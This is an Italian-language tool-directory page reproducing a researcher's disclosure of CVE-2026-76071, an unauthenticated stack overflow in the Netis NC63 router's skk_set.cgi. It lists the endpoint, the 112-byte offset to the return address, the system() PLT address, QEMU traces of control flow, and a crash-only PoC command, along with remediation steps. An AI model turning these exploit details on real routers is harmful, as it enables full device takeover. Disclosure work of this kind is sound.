Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-76071 — Ricerca originale e PoC non distruttivo per un buffer overflow dello stack pre-autenticazione tramite scanset sscanf illimitato nel gestore ipFilterList di Netis NC63 | Kitploit
Strumenti/GitHubGitHub/ozcanpng/cve-2026-76071
Sicurezza IoTAnalisi delle VulnerabilitàExploitReverse EngineeringAnalisi di BinariAnalisi del Firmware
GitHubozcanpng/cve-2026-76071

CVE-2026-76071

Ricerca originale e PoC non distruttivo per un buffer overflow dello stack pre-autenticazione tramite scanset sscanf illimitato nel gestore ipFilterList di Netis NC63

Vedi Repository
14 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-76071: Stack buffer overflow pre-autenticazione tramite sscanf %[^,] nel gestore ipFilterList di skk_set.cgi in Netis NC63

Ricercatore: Özcan Ersan (@ozcanpng)

Stato della divulgazione

  • CVE: CVE-2026-76071
  • Vendor: Netis Systems Co., Ltd.
  • Prodotto: Netis NC63 AC1200 Wireless Dual Band Gigabit MU-MIMO Router
  • Firmware testato: NC63_V3.0.0.3327
  • Componente interessato: /bin/netis.cgi
  • Endpoint: POST /cgi-bin/skk_set.cgi
  • Trigger: ipFilterList=mod
  • Parametro confermato dinamicamente: destHost
  • Parser raggiunto staticamente anche da: srcHost
  • Autenticazione: nessuna osservata o richiesta nel percorso validato
  • Architettura: MIPS32r2 little-endian, ABI o32, uClibc
  • Classe di vulnerabilità: stack-based buffer overflow con controllo dell'indirizzo di ritorno salvato
  • Validazione: CGI di produzione con hash originale in un runtime QEMU user-mode isolato
  • Stato del record CVE al momento della preparazione: assegnato; dettagli del record CNA in attesa di compilazione

Sommario esecutivo

Il parser generico MIB/valore nel firmware Netis NC63 V3.0.0.3327 analizza il campo destHost di ipFilterList con due scanset %[^,] ma senza larghezze massime di campo. Ogni conversione scrive in un buffer di stack locale da 16 byte. Un client HTTP diretto può quindi inviare un componente lungo senza virgole e sovrascrivere i dati di controllo salvati della funzione.

Per il secondo componente destHost testato dinamicamente, il ra salvato è esattamente a 112 byte dal buffer locale. Il tracciamento QEMU sulla CGI con hash originale ha confermato una terza voce selezionata dall'attaccante a 0x0040f7f4. Un test separato di sola osservazione ha reindirizzato il ritorno al percorso PLT di system() originale a 0x00423ab0, preservando i dati della richiesta controllati dall'attaccante come argomento MIPS a0 esatto. Una /bin/sh protetta ha registrato il marcatore e non ha eseguito alcun comando.

Il PoC pubblico contiene deliberatamente solo un pattern B eccessivamente lungo. Non include il valore privato di trasferimento del controllo né la costruzione del confine del comando.

Integrità dell'artefatto interessato

root@kitploit:~
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792  netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2  squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b  squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47  squashfs-root/lib/libapmib.so

Original production hashes

Superficie d'attacco e stato dell'autenticazione

Il frontend del vendor costruisce srcHost e destHost come tre componenti separati da virgola e li invia insieme a ipFilterList a /cgi-bin/skk_set.cgi:

root@kitploit:~
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();

request({
    url: "/cgi-bin/skk_set.cgi",
    data: param
});

Vendor frontend request construction

La richiesta CGI validata in forma HTTP non conteneva header Cookie o Authorization. /tmp/boa_auth era assente, eppure l'esecuzione è proseguita nel percorso del parser di ipFilterList=mod e destHost. Il difetto di corruzione della memoria è lo scanset senza larghezza in FUN_0040f7f4; il più ampio fallimento di autorizzazione della CGI è la condizione che espone questo gestore privilegiato in pre-autenticazione.

Unauthenticated root CGI boundary

Traccia source-to-sink

root@kitploit:~
Unauthenticated HTTP client
  |
  | POST /cgi-bin/skk_set.cgi
  | ipFilterList=mod
  | destHost=1,0.0.0.0,<long comma-free component>
  v
FUN_004138a0
  v
FUN_004134c8 (ipFilterList trigger row)
  v
FUN_00410898(request, "ipFilterList")
  v
FUN_0040f7f4(request, trigger, mib_table, pMib)
  |
  | get_request_param("destHost")
  v
sscanf(value, "%d,%[^,],%[^,]", ...)
  |
  | second destination: char[16]
  | no maximum scanset width
  v
saved fp overwrite -> saved ra overwrite -> controlled PC

I metadati originali di libapmib.so mappano sia srcHost che destHost al tipo 0x0c, che seleziona questo caso del parser. La validazione dinamica è stata eseguita con destHost; srcHost è incluso come copertura statica dello stesso parser, non come verifica dinamica separata.

Handler route and original MIB metadata

Codice vulnerabile

Pseudocodice normalizzato derivato da Ghidra:

root@kitploit:~
case 0x0c:
    value = get_request_param(request, metadata_name);
    sscanf(value,
           "%d,%[^,],%[^,]",
           &selector,
           first_ip_component,   /* char[16] */
           second_ip_component); /* char[16] */

    *(char *)(destination + field_offset) = selector;
    inet_aton(first_ip_component, destination + field_offset + 1);
    inet_aton(second_ip_component, destination + field_offset + 5);
    break;

Unbounded scanset conversions

sscanf() non è di per sé la vulnerabilità. Il difetto è che %[^,] non ha una larghezza massima di campo, quindi sscanf non sa che ogni destinazione è di soli 16 byte. Un formato consapevole della capacità userebbe una larghezza come %15[^,], verificherebbe che siano riuscite esattamente tre conversioni e poi convaliderebbe i valori degli indirizzi parsati. Questa è una mitigazione di esempio, non una patch del vendor.

Analisi della corruzione dello stack

FUN_0040f7f4 inizia a 0x0040f7f4 e crea un frame di 0x1d0 byte:

root@kitploit:~
0040f7f4  addiu sp,sp,-0x1d0
0040f7f8  sw    ra,0x1cc(sp)
0040f7fc  sw    fp,0x1c8(sp)
0040f800  sw    s0,0x1c4(sp)

Le destinazioni di tipo 0x0c si trovano a fp+0x14c e fp+0x15c. Il ra salvato si trova a fp+0x1cc; la distanza esatta dal secondo buffer è:

root@kitploit:~
0x1cc - 0x15c = 0x70 = 112 bytes

Stack layout and saved-ra offset

Verifica dinamica

Controllo del program counter

La prova PC isolata ha utilizzato 112 byte di padding seguiti dai tre byte bassi little-endian di 0x0040f7f4; il terminatore di sscanf ha fornito il quarto byte zero. QEMU ha osservato due voci ordinarie del parser seguite da una terza voce causata dall'indirizzo di ritorno sovrascritto:

root@kitploit:~
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

Controlled third parser entry

Verifica del confine del comando in sola osservazione

Una validazione privata separata ha formato il ra=0x00423ab0 salvato, il percorso PLT di system() del binario originale. Un suffisso controllato della chiave di richiesta è rimasto nel registro MIPS a0 al ritorno. Il runtime usa e getta ha sostituito /bin/sh con un logger statico:

root@kitploit:~
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.

Ciò stabilisce una primitiva RCE nel percorso isolato del codice di produzione. L'affidabilità esatta dell'exploit sul router fisico, il comportamento della randomizzazione del kernel e l'esposizione WAN predefinita non sono stati testati.

Adeguamento del runtime e limiti delle evidenze

Il netis.cgi testato è byte-identico all'artefatto di produzione. Poiché lo stato MIB basato su flash non è disponibile in qemu-user, il rootfs usa e getta ha utilizzato un adeguamento dichiarato di libapmib.so solo per il laboratorio, che ha allocato stato MIB azzerato e ha regolato un allineamento di campo packed. Non ha modificato la CGI, il parser delle richieste, la sscanf vulnerabile, il frame di stack, l'offset del ritorno salvato, l'epilogo o il percorso di system(). I metadati statici provengono dal libapmib.so originale del vendor.

L'eseguibile originale ha base fissa, non ha stack canary né RELRO e presenta uno stack eseguibile e un segmento RWX. Queste proprietà supportano l'analisi di sfruttabilità ma non sostituiscono i test dinamici del PC e del confine protetto.

Binary hardening state

PoC pubblico sicuro

Generazione dry-run del body codificato in URL:

root@kitploit:~
python3 poc/poc.py

Invio esplicito a un target usa e getta autorizzato:

root@kitploit:~
python3 poc/poc.py --target http://192.168.1.1 --send

Lo script pubblico usa un componente B da 115 byte per dimostrare la condizione di overflow. L'invio potrebbe causare il crash del processo CGI. Non contiene stringhe di comando, shellcode, indirizzo di ritorno a system, reverse shell o persistenza.

Impatto

Uno sfruttamento riuscito può eseguire comandi scelti dall'attaccante nel contesto di gestione del router. La configurazione Boa originale esegue la CGI come root. Le potenziali conseguenze includono la divulgazione della configurazione del router e dei segreti, la manipolazione di DNS/firewall/routing, il reindirizzamento del traffico, l'interruzione dei servizi e il compromesso completo del dispositivo.

Rimedi

  1. Utilizzare %15[^,] per ogni destinazione da 16 byte e richiedere tre conversioni riuscite.
  2. Rifiutare i valori host serializzati sovradimensionati prima del parsing.
  3. Convalidare entrambi i valori IP lato server prima di memorizzarli.
  4. Applicare l'autorizzazione dell'amministratore prima dell'invio della CGI privilegiata.
  5. Verificare ogni caso del parser di metadati per %s e %[...] senza larghezza.
  6. Ricompilare con stack canary, PIE, NX e RELRO.

Indice delle evidenze

Vedere evidence/README.md. Lo pseudocodice normalizzato e le evidenze delle istruzioni si trovano in attachments/decompiled-functions/.

Cronologia della divulgazione

  • 2026-08-16: completate la scoperta e la validazione isolata del binario di produzione.
  • Agosto 2026: segnalato a VulnCheck.
  • 2026-08-20: VulnCheck ha assegnato CVE-2026-76071 e ha autorizzato la divulgazione pubblica.
  • 2026-08-20: pubblicato il pacchetto di divulgazione pubblica.

Riferimenti

  • CVE-2026-76071
  • VulnCheck
  • Netis NC63 support page
  • CVE-2026-73673

Nessun router fisico è stato flashato. Non è stato utilizzato alcun comando reale, shellcode, reverse shell, persistenza, connessione di rete esterna o operazione distruttiva.

Scarica lo strumento